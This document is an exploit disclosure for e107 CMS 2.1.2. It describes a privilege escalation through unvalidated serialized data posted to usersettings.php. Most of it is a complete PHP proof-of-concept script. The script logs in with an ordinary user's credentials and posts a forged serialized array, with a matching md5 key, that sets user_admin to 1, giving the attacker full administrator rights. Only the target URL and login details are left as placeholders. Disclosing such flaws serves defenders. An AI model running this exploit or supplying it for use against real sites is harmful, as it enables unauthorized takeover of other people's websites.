1. Description

Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.

2. Proof of Concept

<?php

/**
* e107 CMS 2.1.2 Privilege Escalation

*/
function hack($url, $login, $pass, $cookie){

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
curl_setopt($ch, CURLOPT_POST, 1);
$content = curl_exec($ch);
if (strpos($content, '?logout') === false) {
die("Cannot login");
}

$data = array();
$data['user_admin'] = 1;
$data['user_perms'] = 0;
$data['user_password'] = md5($pass);

curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
$content = curl_exec($ch);

if (strpos($content, 'Settings updated') === false) {
die("Exploit probably failed");
}

die('OK!');
}

$url = "http://url_here";

// Standard user credentials
$user = "login_here";
$pass = "password_here";

$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);
